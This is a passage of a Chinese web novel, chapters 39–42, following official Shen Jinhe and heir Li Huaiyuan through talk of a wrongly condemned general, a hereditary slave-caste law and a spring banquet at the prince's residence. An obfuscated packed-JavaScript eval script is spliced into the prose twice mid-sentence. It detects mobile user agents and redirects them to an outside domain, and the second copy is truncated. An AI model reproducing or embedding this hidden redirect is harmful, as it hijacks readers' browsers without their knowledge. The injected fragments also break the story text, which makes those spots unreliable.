沈今禾双手托着下巴,看向眼前这张棱角分明的侧脸,没头没尾地问了句:“我是不是上辈子真做了什么错事啊?” 手上的动作一顿,李怀远虽不知道她在跟谁较劲儿,但看得出来她心里憋屈,于是哄孩子似的接下话茬:“为什么这么说?” “就感觉我挺倒霉的。” 她纤长的睫毛低垂,微微颤动着,像他手掌之中扑动的小飞虫。 李怀远轻笑出声:“你倒霉就是你倒霉,扯什么做错了事。那有的人一辈子积德行善还不是早早没了命,如果真有因果,坏人早自己死绝了,还要律法干什么?” 沈今禾愣愣道:“真的啊?” “我什么时候骗过你?” “说再也不想看见我的时候。” “……”李怀远怀疑她完全就是在装醉。 打定了主意暂时不搭理她,可见她可怜巴巴一副求教的模样,还是忍不住宽慰:“沈今禾,我知道你过去很不容易,但你记住,你曾经所遭受的一切,是你的不幸,但绝非是你的过错。” 四寂无声。 唯有午后暖暖的光影跨过春山,越过翠竹,不经意地照耀在她身上。沈今禾定定看着面前那双漆黑的眸子里流光溢彩,忽而觉得千山冰雪一瞬间都融在了这暖洋洋的春意里。 李怀远擦擦手,嫌弃地将帕子丢给沈今禾:“洗干净还给我,听到没?” 见她乖乖点头,他这才在亭中寻了个舒适的位置坐下,说起了此前他们在书房里没说完的话。 “方才我翻看你整理的那些书稿,这才知道,柳老先生竟为瞿广搜集了如此多的证据。” 李怀远对这个人没有特别深刻的印象,只知道百余年前,瞿广战降,瞿家满门抄斩的事。 当年还是成文帝在位期间,大郅上将军瞿广携二十万大军征战南越四国,惠稽,良馀,建彰,以及越攘。另外,天子令王弗领兵十万辅之。 稽山之战中,瞿广率两万轻骑驻在山谷,预备先引敌深入,再让王弗携大军打其一个措手不及。岂料惠稽和良馀两国提前得到了大郅的作战部署,率主力军队将其包抄,瞿广领众将士力战多日,终于粮尽矢绝,卸甲投降。 王弗回京后向成文帝汇报此事,直言是瞿广贪功冒进,这才致使上万铁骑几近覆没,而他本人更是贪生怕死,已经归降了南越四国,成了良馀国的上将之一。 成文帝心里存疑派人前去探查,那人回来后说,远远看见瞿广如座上宾,与良馀国皇帝大口吃肉,大碗喝酒,改名换姓,不复瞿氏。 成文帝大怒,即刻下诏处死瞿家满门,不论妇孺老小。 过了几年,民间渐渐流传出瞿广将军是被冤枉的说法。有人说自己曾在良馀国的天牢中见过他,说他被拘一年后,久病不愈而死。 后来许多年间,此事都是寻常百姓与官场同僚间的饭后谈资。 说起这个,沈今禾瞬间就清醒了些:“驸马此前也为他作过传,我想把他们的材料汇总在一起,不知可否拼凑出一个完整的真相。只不过……” 李怀远自然知道她要说什么,“只不过,就算瞿广含冤的证据确凿,也不可能呈报给三司翻案,成文帝亲自定的罪责盖的玺印,这案子谁敢翻?不翻案自然就不能写进官方的史册,所以只能等哪天改了朝换了代,才有可能公之于世,对吧?” 他这一句“改朝换代”可谓是不要命的大胆,沈今禾心头一紧,急忙向四周望了一圈,见四下无人,这才松了口气。 “世子说话当心。” “你在担心我吗?” “下官是担心自己。” “你怕什么,难道你想为他翻案?” 沈今禾听罢差点直接跪在地上,她一个小小蝼蚁,怎么敢翻帝王的案。 看她一脸惊愕,李怀远笑道:“逗你呢,瞿广的后人全都死了,谁还会愿意冒天下之大不韪,担着杀头的风险,去给一位跟自己毫无瓜葛的已故之人翻案,所以能做到有如柳老先生还有你这样,查明真相后将其编撰成册,已是不易之举了。至于是非功过,就交由后世评说吧。” “世子认为我做的事有意义?” “很有意义。” 须臾,李怀远见眼前之人眼中阴霾不再,眼神亮晶晶的,闪烁着光芒,捞起酒坛又给自己倒了半碗酒。 喝干抹净之后,就跟一只要小鱼仔的花猫似的,杏眼发亮,欲拒还迎地抱着碗,凑到他跟前软绵绵地说了句: “那世子能不能帮我一个忙呀?” 他的心尖突然像是被柳条轻轻拂过,还是二月那种新抽出嫩芽的柳条,在他心头荡啊荡的,惹得人心神不宁。 面上却丝毫不显,没什么表情道:“何事?” “世子可否替下官请教一下凌安王有关瞿广将军的事?或许老凌安王以前向他提及过此人。” “这个瞿广将军…我确实也曾听祖父说起过,没记错的话,府里还存有一把他当年佩过的宝剑,但因为他的罪责,祖上从未外露过此事,却不知为何也没扔,一直将剑封存于祠堂内。” 如此说来,没准李怀远的祖父幼时还见过瞿广本人……如今他祖父虽不在了,但凌安王一定听其讲过此人的奇闻轶事,这可是难得的一手资料,对她掌握当年冤案的真相,撰写严谨的传记大有益处。 李怀远见她摇头晃脑的,伸手扶正她的身子,心说这人也真够神奇的,说她没醉吧,她又不似平日那般规规矩矩,说她醉了吧,她说起正事又丝毫不含糊。 说罢旋即又想起来瞿氏抄家之后发 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李怀远若有所思:“当年成文帝大怒,对瞿广以及他归顺的良馀国上下全都恨之入骨,所以才下诏立即处死所有良馀士兵,无论降与不降。” “也因此,后来才有了那条‘良馀贱籍,世代相袭’的律令。” 眼波微动,沈今禾心头不由自主地突突跳了几下,抬头看向眼前这位昂霄耸壑之人,只见他分析道: “所以……如果瞿广没有叛国,良馀俘虏也根本没有反心,那么关于良馀贱籍这一条律法,是否还有存在的必要?能否上谏陛下,让律令司将其废除?” “轰”地一声,沈今禾脑袋直接炸开了花,她瞪大了眼睛!简直不敢相信这种天大的事情竟还有回转的可能…… 她以为能进翰林,已是毕生之幸。 却没想过有一天,有一个人就这么堂而皇之地、漫不经心地说出她一辈子都不敢奢求的事。 “世子……您真这么想?” “上位者搅弄风云,良馀百姓何辜?我早就看这一条律例不顺眼了。” “世子……” “怎么,崇拜我啊?” “不是,感觉你好嚣张……” “你就不能说点中用的?”李怀远挑眉。 沈今禾托着下颌想了想道:“您可真是个大好人啊。” “……你要是实在不会夸人,大可不必硬夸。” “不是的。”沈今禾忽然鼻头一酸:“我真心觉着世子是个很好的人。” 有时候血缘纽带这东西,还真抵不过人性本身的善恶,好在幸运的是,恶意侵袭的同时,总会吹来那么一两春意融融的风,叫人觉得凛冬散尽,春和景明。 原来这个世界真的没有人们想象中的那么好,但也没有人们想象中的那么糟。 所以啊,一切都会过去的。 沈今禾觉得自己好像喝醉了,醉得有些大逆不道,胡乱抹了把眼泪开始胡言乱语:“我可以抱抱你吗?” “你怎么了?诶、你别哭啊。” 李怀远愣住,忽然有些手足无措,待反应上来时那人已经摇摇晃晃凑到自己跟前。她张着双臂,孤零零的身影像是随时都会被风吹落湖中,李怀远心里一揪,一把将她揽入怀中,叹了口气道: “傻了啊,你又不是瞿广,这么感动做什么。” “没准我上辈子就是呢。” “打住!”一想到沈今禾是个胡子拉碴的大老粗,李怀远浑身一个激灵,简直比做噩梦还可怕。 40.第 40 章 是夜,凌安王府的一座院落里。 月亮刚爬上树梢,一个步伐生风的黑影便推开门进了屋子,李怀远放下手中的书册,揉了揉眉心:“查出了什么吗?” 陵光边往进走,边递上一纸书信:“属下派出去的人在云中郡找到了沈今禾的奶娘,几番打探下来,基本可以证实她幼年时曾患肺痨,身子不好常年忌口,以及…脚踝处有一个胎记,不过胎记具体什么形状倒是不知。” 修长干净的指节展开信纸,取下梅花灯罩,放在灯下一目十行地看完。 信中所言,竟几乎无一处与他认识的沈今禾对得上。李怀远微微蹙起眉头,心里乱糟糟的,沈今禾那个人,看似瘦弱身子骨却很好,除去外伤极少生病,用食也从不讲究。 如果非要说这些是因为多年在掖庭磨出来的,倒也说得通。 只是……他冷不丁想起那一双荡漾在碧波中的脚,白皙无暇,肤如凝脂,哪里像是有半点胎记的样子。 “那人没有起疑吧?” “没有,只说是上京死了个姑娘在排查,官府怀疑死者是沈今禾,这才找上了门问问情况。” “也没说她如今在翰林院做事?” 陵光晓得自家世子是怕那人听说沈今禾如今发迹了,大摇大摆地跑来要好处。 点头道:“自然没有,那人只当她还在掖庭做奴婢。” 烛光摇曳,一抹黄晕爬上李怀远棱骨分明的侧脸,他指尖点了点玉案,又想起在柳府借宿的那个叫郑元的人来……沈今禾叫他表哥,可她母家明明姓孔,那人姓郑,这算是哪门子的表哥。 他心头忽而一滞,萌生出一个大胆的猜测。 …… 到了王妃举办春花宴的那日。 亭午,陵光正站在王府门口吩咐门房做事。 忽而一抬头,瞥见街头走来个脑袋圆圆的小姑娘,个头矮矮的,应该是五六岁的年纪,上身穿着箭袖对襟的红梅短袄,下系红缎马面裙,此刻正哼着小曲儿,对并排走来的沈今禾说道: “又不当值,你穿着官服做什么?” “说不定能对她有些威慑力。”沈今禾没明说,但两人心照不宣,都知道这个“她”自然指的是慕容宛。 “你很紧张?” “废话,你不紧张?” “也对,那人要真是她,身份一旦被戳破……” “嘘,不管怎么说,这事都不能让王府的人知道。” 沈今禾默道,如果是叶绥或者荷华知晓了她贱籍后代的身份,那或许还有回旋的余地,可如果是王府其他人,尤其是凌安王或者王妃,此事肯定就得依律上报了,人家与她非亲非故,着实没必要为了替她隐瞒而担上罪责。 身影一闪,陵光迅速躲在红漆木檐柱背后…… 什么事不能让王府的人知道?谁的身份被戳破?还有这个与沈今禾有几分相似的孩子是哪里来的? 难道是?! 系统突然顿足,想到沈今禾以往惯有的恶作剧行径,皱着眉头再三叮嘱:“你要是再在别人面前说我是你的女儿,我就死给你看。” “嘶——”,陵光倒吸一口凉气!暗道一声,糟了! 一转眼珠的功夫,那二人的寥寥几语已被他拼凑成了一条完整的故事线。 沈今禾她、她和别的男人有孩子了?! 世子要是知晓了此事,那还不直接将宴会闹翻了天。现下王爷虽外出不在,可回头王妃要是气急了去告上一状,世子怕是又得好生跪一顿祠堂。 若是单跪祠堂倒还好,就怕王妃又将他扣在浔阳个把月的,那他们何时才能回上京啊! 这下可怎么办。 沈今禾刚走到王府门口,就见一道矫健的熟悉身影从檐柱后蹿出来,扔了手里的扫帚直往府里冲去。 “陵……”话还没喊出来,那人就已经消失不见了。 “奇了,我还没见过陵光这么不稳重的样子。”沈今禾望着他消失的方向道。 “左右不过就是看见鬼了,吃坏肚子了,或者尿急找茅房。”系统道:“你还有心思管别人,你先好好想想,要是自己的真实身份真被慕容宛戳破了,该怎么收场吧。” “那就只能鱼死网破了。”沈今禾像是突然卸了力,驼下背,弯着腰,叹了口气,任由两条臂膀直直地往下垂着,在身下荡来荡去。 “你今天怎么这么消极?” 系统短短胳膊交叉抱在胸前,狐疑道:“说实话,你是不是因为要见王妃太紧张了,所以才对慕容宛没有特别上心?” “我见王妃为什么要紧张?”沈今禾直起身来。 “丑媳妇见公婆都这样吧。哦,我不是说你丑,这只是一种比喻。” “……” 哪儿学的,真不像话!这是一个八岁孩子该说的话吗! 沈今禾脸颊有些烧乎乎的,状似不经意问道:“我们俩之前…那个,王妃应该不知道吧?” 她一开始假意爱慕李怀远的事,虽然刚入府时就闹得人尽皆知,但那毕竟是在上京城,风怎么吹也吹不到浔阳吧。 “就你们俩那点子破事,都不够人八卦的……”系统道。 可转念又一想,不对,还有个人。 “荷华倒还好,不过叶绥那个大嘴巴,你觉得他会忍得住不说?” 系统是在霸总文里见过大阵仗的,那些狗血的情情爱爱,豪门纷争,嗑着瓜子讲三天三夜都讲不完,自然不觉得沈今禾跟李怀远这股子别扭劲儿有什么看头。 可叶绥就不一样了,他纯是闲的。 此刻。 王府庭院里的一座重檐亭中,鸦青色刻丝锦袍的公子正端坐在玉案旁,咬着笔杆,眉头紧锁,对着一旁站立的素衣女子道: “诶?吴相的孙女也不能和河间章氏之女挨着坐吗?” “是的。”荷华点头:“她们俩上元节在晋夫人的宴会上刚闹翻。” “那还请她们来?”叶绥仰起头问。 “这些世家久居浔阳城,大家明面上还是要过得去的,总不能请这个不请那个。” 低头在座位图两个地方画了个叉,叶绥抱着笔杆子郁闷:“我真不该向王妃要来这个安排客座的差事,原本只想着将那个慕容宛的座位同小叔分开,再把小叔和今禾安排到一起,谁成想竟然这么麻烦。” 这两个要安排到一起,那两个又坚决不能安排到一起。 怎么这么多弯弯绕绕。正想着,突然一阵黑风袭来,叶绥惊道,什么东西过去了! 定睛一看,才发现原是陵光。 只见陵光一手拍在座位图上,眼神真挚中带着哀求:“叶小公子,请务必、不要让世子同沈今禾带来的那个孩子坐在相邻位置!” “为什……哎,你去哪儿啊!”话还没说完,那阵黑风又“咻”地一下没影了。 叶绥正满腹疑惑,眨眼的功夫,就看见沈今禾和十七的胞妹一同进来了。上次马车上那句“被翻红浪,夜赴巫山”还记忆犹新,叶绥不自觉地往后退了一步,对这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14497409|150881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个小姑娘有一种莫名的警惕。 没敢和她搭话,而是转身朝沈今禾道:“你们怎么来这么早呀?” 不等沈今禾回话,系统突然点了点案上平铺着的图纸,扬头问:“今日是由你来安排座位吗?” “呃……怎么了吗?”叶绥有种不好的预感。 沈今禾道:“能不能把慕容宛安排在离我最远的位置,最好是她看不见我,但是我看得见她的位置。” “……” 叶绥提笔,在纸上注:丰神俊朗叶小公子,卒。 张家女不与王家女同坐,何夫人不与独孤三娘同坐,吴家孙女不与章氏女……沈今禾默念图纸上的小字,眯着眼心算一番,摇摇头道: “按照排列组合公式,你这只剩下两种排位方式了啊。” 叶绥眼前一亮,垂死病中惊坐起,也不管什么列什么合的,先拿笔将那个“卒”字划掉,接着满怀希望地看着沈今禾: “要不还是你来吧。” 这对她来说自然不是难事,沈今禾接过笔,重新铺了张宣纸,蘸了墨,开始给一群贵眷佳人们排位。 叶绥如蒙大赦,急忙跑到亭外的池塘边透气。 “荷华,我有件事…想请教你一下。” 沈今禾捏着笔,看向一旁正在和系统不知在玩什么游戏的荷华。 荷华从石案后抬起头,见她怒了努嘴,挠挠耳根道: “王妃是个什么样的人啊?” 系统此刻正拿了根红绳跟荷华翻来翻去地玩,闻言停下手里的动作:“哈哈哈你现在才来问,是不是有点太晚了……” 荷华笑道:“无碍。王妃性子洒脱,向来不拘小节,你不必担心。” 话音方落,就听廊庑传来一阵说笑声,紧接着女使婆子们拥着几位妇人走了出来,打头的人眼角带笑,神采奕奕,头上的簪髻朱钗不多,看着却极为华贵。 “要我说啊,还是王妃最有福气,嫁了个好丈夫,三千宠爱于一身,生了个好儿子,文武双全美俊郎。” “好迎姐,快别折煞我了……唉,各家有各家的业障,你们是不知道,那小子的婚事真真是快愁死我了,哪像辽夫人家的长林,乖顺孝顺,一点都不用人操心。” 辽夫人道:“哪里哪里。世子是有大作为的人。” 王妃笑着摆了摆手:“什么作为不作为的,都是好面子的话,我们这些为人父母的,总盼着孩子们健康喜乐就好。” “可不是么。” “我和王爷现在也懒得管了,只要他把我安排的这二十门婚事相看完,我也算尽了当母亲的职责,剩下的便由着他去折腾吧。” 正说着笑,王妃蓦地瞥见亭中几人,顿时眸光一闪,回身朝其余几位夫人歉意道: “诸位请先厅上吃茶,我失陪片刻。” “您忙,您忙。” 那几人笑呵呵地行过礼,便由廊庑尽头的拱门处走了。 早春里,有些花儿已经开始争先恐后地崭露头角,此刻被清风一吹,花香飘落满庭。叶绥正蹲在池边的大石头上逗鱼玩,一看见王妃走过来,便笑嘻嘻跑到她跟前,指了指亭中的人。 “王妃,沈编修来啦。” “就是你之前说的那个,在飞琼阁住过一阵的沈大人?”王妃眼睛亮晶晶道。 “是呀。” 两人嘀嘀咕咕,边说边朝着亭中走来。沈今禾早就搁下笔,起身理了理袖袍,待人一走近,便端端正正地弯身行了大礼。 “见过王妃。” 41.第 41 章 王妃见此,连忙三步并作两步走到跟前,双手扶起她的手臂,笑道:“沈编修不必见外,你们几个都同怀远年纪相仿,我瞧着你们就跟瞧着自家孩子一般亲昵,以后见着我,万万莫要再行礼了。” 沈今禾莞尔一笑:“早就耳闻王妃澄澈襟怀,强不执弱,富不侮贫,如今一见,方知传言不及十之二三。” “哎呦,你这孩子。”王妃拉着沈今禾的手坐在亭中,脸上是难掩的喜色:“不愧是御赐的文官儿,说话就是比我那个木头嘴似的儿子惹人怜。” 明知道沈今禾夸大其词了些,王妃依然高兴得紧,试问谁不喜欢被人一本正经地夸奖,何况她还有个她刚说完上句,下句就等着噎她的儿子。 一想到那个气人的,此刻再看眼前水灵灵,乖恁恁的沈今禾,王妃真是喜欢的不得了。要说这人与人之间的缘分就是奇妙,有的人哪怕只是见过一眼,就觉得合眼缘得很。 “咦?这孩子是……”王妃一转头,忽然看见廊柱后面蹲着个脸蛋鼓嘟嘟的小姑娘,正抓耳挠腮地盯着荷花手里翻出的红绳。 沈今禾顺着她的视线看过去,惋惜道:“这是我已故堂兄的孩子,去年家里遭了灾,大人不幸都没了,这才投奔到我这里。” “哎呦老天爷,听着怪叫人心疼的。”王妃抓着帕子,一脸悲悯的看向系统,又回身对着沈今禾道:“这世道总是如意的时候少,不顺心的时候多,当年沈氏一族遭受大劫时,你也才如她这般年纪吧,一晃神,十几年过去,你都能替沈家遮风挡雨了,今禾,你真是个好孩子啊。” “……”沈今禾真是自惭形愧。 “这字是你写的?” 王妃放下茶盏,余光瞥见桌案上画了半卷的座位分布图,拿起一看,只觉得这运笔翰动若飞,纸落如云,与荷华的风格不同,有一种潇洒自如之风。 也是越看越喜欢。 这天底下,有才学又好看的世家闺秀不少见,但二者兼具还能不以为意、不矜持自傲的人,便少之又少了。这孩子如此心善,亦有风骨,看上去不虚假也不拧巴,定是个极好相与的人。 王妃心里乐呵呵地想,怀远这小子眼光就是好。 沈今禾一头雾水地喝着王妃亲手递来的茶,吃着她亲启盒盖的点心,全然不知道一会儿的功夫,王妃已经在心里把自己捧得比天宫的青女素娥都高了。 只嘀咕着是不是叶绥把自己的官阶给报错了,王妃以为她是个什么三品大官,才得以如此热情招待。 正想着,就听见身旁之人一声中气十足的叫喊。 “李怀远!” 王妃正与沈今禾叙着话,一抬眼,兀地瞧见廊庑一抹俊逸的身影飘过。 她一拍桌案,连名带姓地吼了一声,吓得众人一抖,只见她站起身子道:“又想偷偷溜出去是不是?” 身形一顿,李怀远懊悔地咬了咬牙,他娘怎么在此处,这时不应该在前厅吗? 早知道就不选这条路了。 原本因着沈今禾今日也要来,李怀远是没打算逃的。春花宴有什么好怕的,不就是几十个女人叽叽喳喳的说些没什么意义的话么。 他起了个大早,正要如往常一般更衣练剑,却兀自想起了那日柳南钦在大街上说过的话。 “……你只要春花宴那日打扮成花蝴蝶一般,故意在沈编修面前表现出对旁的女子的殷切,保管她能变了脸,咬牙切齿地醋一晚上,哦对了,那个慕容宛就很不错,听说长得像天仙,想必会事半功倍。” 思忖片刻,他将陵光唤了进来,叫他去王妃那里取开春刚裁剪的新衣来。 陵光闻言懵然,“前几日送来时,您不是说了不要,又让属下送回去了么?” “这次毕竟是府里举办的宴会,我若是衣冠穿的不得当,只怕是会给母亲丢人。”李怀远尽量面色平静地说道。 “……”陵光心道,您以前也没少给王妃丢人啊…… 心里这么想着,嘴上还是赶忙答应了下来。 李怀远练完剑,沐浴更衣,身穿通体月光白的直襟金丝暗纹长袍,腰束玉质宽腰带,腰口两侧整整齐齐地各挂着块镂空玉佩,下面坠着流苏。 午时过后,春花宴准备得也差不多了。李怀远撩起袍子,心情还算不错地往院外走去,正与迎面而来的陵光撞了个正着,便拦住他问沈今禾来了没。 陵光眼神乱瞟,支支吾吾半天,实在不知该怎么告诉世子,来是来了,只不过还带了个孩子来。 李怀远见他急匆匆而来,又吭哧半晌不答话,误以为沈今禾又因什么事不来了,顿觉不爽,心想既然她不在,这春花宴又有什么意思,还不如溜出府去。 谁知刚走到中庭的廊下,就被王妃逮个正着。 王妃不知道自己吼完一嗓子为何儿子还杵在那儿一动不动,心说该不会是被自己的呵斥吓傻了吧。复一想,他平日不把她吓傻就不错了,哪有她吓人的份。 故而又朝着廊下道:“还不过来,沈编修也在这里哦。” 话音刚落,一袭白袍就从天而降,瞬间移步到了重檐亭中。 白茫茫一片,快晃瞎了众人的眼睛。王妃不解道:“你平日里都穿深色,今日怎么一身白,还……” 还飘飘逸逸的,颇有几分温文尔雅的儒士之风。她没明着说,只在心里默道,好看是挺好看的,就是总觉得跟李怀远有点不搭边。 “不是您让人裁的吗?” “是我裁的不错,但我也没指望你会穿啊。” “……” 清风阵阵,花香隐隐,这亭子本身不小,可忽然间涌入了不少人,便显得有几分逼仄,李怀远侧身由一处空隙灵活地移到沈今禾跟前。 看了眼案上的茶盏,压着嘴角道:“沈编修今日不饮酒,改喝茶了啊?” 垂着的羽睫一闪,沈今禾倏地想起那日在柳府水榭上,她主动拥抱李怀远的事,霎时半边脸颊红得像火烧云,一直烧到耳根处。 那日她究竟几分是醉,几分是破罐子破摔,几分感动,几分是呼之欲出的情愫,沈今禾自己也分析不出。 此刻正低着头使劲儿琢磨。 李怀远垂眼看她,心里甜丝丝的,心道总算用不着翻墙逃出去了。 王妃边盯着儿子那身骚包的胜雪白衣,边给叶绥使眼色:“什么情况?” 叶绥用口型道:“不知道呀。” 陵光一点没注意到这些人的心思,只顾着挡在正与荷华翻红绳的那个小姑娘面前,心里默默祈祷,但求世子千万别注意到这孩子。 一群人各怀心事,气氛诡异中带着一丝和谐。直到一道柔媚婉转的声音介入—— “妾身问王妃安,问世子安。” 众人这才齐齐回头。 只见亭外假山旁的小道上,缓缓走来一个娉婷多姿的女子。眉目口齿,般般入画,鬓影衣香,连花丛中的粉蝶都不禁黯然失色。 几个路过的小厮看过一眼,便低下头红了脸。 系统“啧啧”两声,低头道:“也没多好看啊,外面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈今禾没说话,倒是李怀远替她答了:“她对折梅花不感兴趣。” 笑话,当然不能叫沈今禾一起前去,她要是去了,他岂不是还得装上一路,想想都觉得乏累,说不定没一会儿就露了原型。 慕容宛笑道:“听沈编修口音还以为是永州人呢,据说永州人惯爱咏梅折枝……倒是臣妾唐突了。” 去他娘的口音! 沈今禾只觉得全身的血液都在叫嚣。 待那两人走远,王妃才突然反应上来,脸色一变:“他、他怎么了?他没事吧?!” 她倒不是看不起成过婚又和离了的女子,只要是个实心实意的好孩子,出身如何,是否二嫁,这些都是不打紧的。 只是李怀远是个什么德行,她做娘亲的还能不了解?平常想叫他来前厅同哪位夫人闺秀吃盏茶,都比要了他的命还难,遑论是陪姑娘去折枝了。 难道他喜欢慕容宛那一类的?不对啊,听叶绥的描述,他应该是中意沈编修的…… 这小兔崽子,葫芦里究竟卖的是什么药! 王妃有些凌乱,打算回院里歇息片刻再出来招呼客人。 亭中除了沈今禾,其余几人更是凌乱,依着李怀远的脾性,别说主动相陪,就是刀架在他脖子上,他不想去也没人逼得了他,还折枝?树没给他砍光就不错了。 几人中以陵光惊诧最甚。 42.第 42 章 他最是了解世子同沈今禾的过往,虽然当中的弯弯绕绕他揣测不明白,但世子绝对不可能对慕容宛生出什么心思,要不然也不会这些日子都对其视而不见,单单今日就开窍了。 “叶小公子,此事你怎么看?”陵光心想,叶绥红粉知己众多,应该对男女之事颇有些看法。 谁知叶绥脑袋摇得像拨浪鼓,他怎么可能想得到,小叔会为了醋着沈今禾而故意去干这种事。 陵光看看梅园的方向,又低头看看心无旁骛翻红绳的小姑娘。难道说……世子已经知道这孩子了?所以同沈今禾分道扬镳了? 正想着,就见沈今禾低低呼了一口气,放下笔道:“座位安排好了,你看一下有没有什么问题?” 叶绥简直感激涕零,抱着图就去找府里的总管事交差了。陵光挠挠头欲言又止,又不好直接相问,杵在这里又多余,无奈跟着叶绥一起走了。 此时的中庭,阵阵芳香余绕梁。 春花宴自然最少不得的就是花了,四周摆满了奇花异草,肆筵设席,鼓瑟吹笙。 庭院被鳞次栉比的小亭及古树环绕,幽静又不失雅致,中间宽阔的空地上已经设好了双人座席,两侧各一列,最上面中间的主位自然是王妃的位置。 美眷们三三两两地赏花闹笑,有的已入座品茶,有的方从梅园折枝回来。 沈今禾朝那抹羞答答的艳影瞥了一眼,自觉地坐在了最角落的位置。宴席的最前方,慕容宛手上拿着几枝形状别致的春梅,正红着脸朝一旁的男子道: “方才有劳世子替宛儿折枝,若世子不嫌弃,可否同席入座,听宛儿弹奏一曲《良宵引》?” 她薄粉敷面,举止投足如同仙子,连年轻的女子们都不由得多看几分。 系统却白眼道:“刚才不是还自称妾身吗?就折了个树杈子的功夫,就开始宛儿宛儿的了,真令人作呕。” 隔着一簇簇似锦的繁花,李怀远心虚地望着宴席尾端。 也不知道柳南钦教的这个法子到底管不管用,反正他心里是挺没有底儿的,就像自己做了什么见不得人的勾当似的……生怕沈今禾生他的气了。 再一瞅周遭成群的莺莺燕燕都往自己跟前凑,夫人们又叽叽喳喳说不停歇,李怀远简直腻得有些发晕。 “世子?”慕容宛问话无人应答,一时十分尴尬。 “何事?”李怀远回过神来,没什么表情地看了眼身侧之人。 一股醺腻的甜香和风而入,萦绕在他的鼻息之间,他蹙了蹙眉,也不知道这个慕容宛在身体抹了什么东西,齁得自己快反胃了。 慕容宛明知李怀远在走神,面上却一丝不显,眸中带水的将方才的话又重复了一遍:“……宛儿愿为世子弹奏一曲。” 琴声悠扬入耳,李怀远指了指亭中正在奏弹焦尾琴的乐班,莫名其妙地看着她:“你弹什么?不是专门请了人吗?” “……” 慕容宛额间渗出几滴冷汗,面上却依旧巧笑倩兮,邀请他同坐一处。 话音未落,就见一个鸦青色锦袍公子“咻”地蹿到她跟前,手上还抱着张图纸,笑嘻嘻地拉开李怀远。 “哎呀呀,真不巧,慕容姑娘你的座位在那边呢。”说罢指了指另外一侧最前端的位置。 “世子……”慕容宛紧紧地咬着嘴唇,雪白的颈项恰到好处的正对上李怀远的视线,楚楚可怜的看着眼前人,真真是惹人怜惜。 连叶绥都忍不住想陪她同坐一席了。 等等,打住!!! 叶绥一个激灵清醒过来,往后退了两步,心说这女人太可怕了,该不会是会什么摄魂术吧,要不是他清楚的知道这个坏女人做过什么,只怕这会儿魂都已经被勾走了。 再一看他小叔,眼睛正一眨不眨地盯着她肤若凝脂的……诶?!好像不对,他的视线好像是透过慕容宛看向被她挡住了的那个人。 李怀远眉头微拧,十分纠结于要不要继续按柳南钦的建议行事,他惘然回身,看见沈今禾垂着头怏怏不乐的,好像有什么心事。 难道说这个法子奏效了,她真的吃味了?可为什么自己丝毫不觉得畅快,反倒和她一样没精打采,心里满是愁闷。 作筵之上的案几摆着珍馐美酒,沈今禾提起银壶给自己斟满一杯,正要握着杯沿一饮而尽,不料却被一只苍劲有力的手挡下。 还未来得及抬头,就听那人笑道:“还真是个酒鬼。” 沈今禾心里正想着事,没注意到旁边有人过来,一看是李怀远,便急急忙忙起身行礼,只是话还没说半句,就见一个黑影“唰”地一下扑来,挡在了她旁边那个小姑娘面前。 “……” “陵光,你今日是怎么了?”怎么行为举止看起来十分不正常…… “没事……不对,我有事。”陵光一指正在认真扒葡萄皮的系统,说道:“我找她有事。” 巨大的银盘后露出个圆圆的脑袋,疑惑地看着他:“哥哥,我认识你吗?” “……” 第一次听到从系统嘴里发出“哥哥”这个音节,沈今禾简直浑身起鸡皮疙瘩。 其实是系统在来王府之前担心自己嘴瓢,怕下意识同陵光说出什么与以前有关的话来,便一路默背了数遍“我没见过李怀远,我没见过陵光,我只是沈今禾的远房侄女”之类的话,以时刻提醒自己,千万别对这两个人表现出熟稔的态度。 故而这一刻才能真如不谙世事的稚子一般,脸不红心不跳地叫声“哥哥”。 沈今禾只当是系统在故意玩闹,却完全不知系统对于陵光,那是有一万分的崇敬在里头的。 原因无他,只是因为陵光他——太强了! 在系统看来,他未来可是要成为大将军的人,大将军最重要的是什么?当然是强啊!所以陵光超强的武力值与古铜色的肌肤成了他求而不得的两样东西。 系统心道,陵光这个人,向来除了练功其余一概都不感兴趣,那他此刻来找自己,一定是看中了自己骨骼清奇,亦有成为绝世高手的潜质,所以想收自己为徒! 越想越觉得八九不离十就是这样,于是感动道:“哥哥,我、我也可以成为你这样的人吗?” 其余三人一头雾水:“……” 陵光摸摸后脑勺:“我虽然不知道你在说什么,但是你能不能跟我过来一下?” “好啊。” 此时宴席已开,王妃小憩了片刻之后果然精神了很多,正神采奕奕地坐在主位上与众人寒暄,丝毫没有注意到这边的情况。 陵光带着系统从花丛后面绕了出去。李怀远顺势坐在了沈今禾旁边的位置,望着那两道鬼鬼祟祟的身影,不解道:“这孩子是谁……” “是我已故堂兄的孩子。” 李怀远模糊地记得好像叶绥有跟他提过一嘴,迟疑道:“不是个小男孩吗?叫什么来着,沈十七?” 沈今禾喝下一口茶,面色如常,“嗯,这个是他的胞妹。” “原来如此,那你……” 见他神色复杂地看着自己,沈今禾还以为自己脸上有什么东西,低着头往茶盏中看了一眼。 却忽地听头顶那人道:“那你也挺不容易的,要养两个孩子。” 沈今禾:“……” 她假装没听见,掰了块梅花酥放在嘴里咀嚼,她现在没心思管别的,只想知道慕容宛来浔阳到底要干什么,是跟着自己来的,还是有什么别的目的? 想得入了神,不自觉地就盯着宴席最前方侧首那人看起来。李怀远顺着她的视线往过一瞧,见一株春梅斜斜地插在瓷颈瓶里,眼皮跳了跳,心里暗自懊悔,完了,沈今禾真的生自己气了。 千不该,万不该,不该听信柳南钦的谗言,去折什么晦气的梅花! 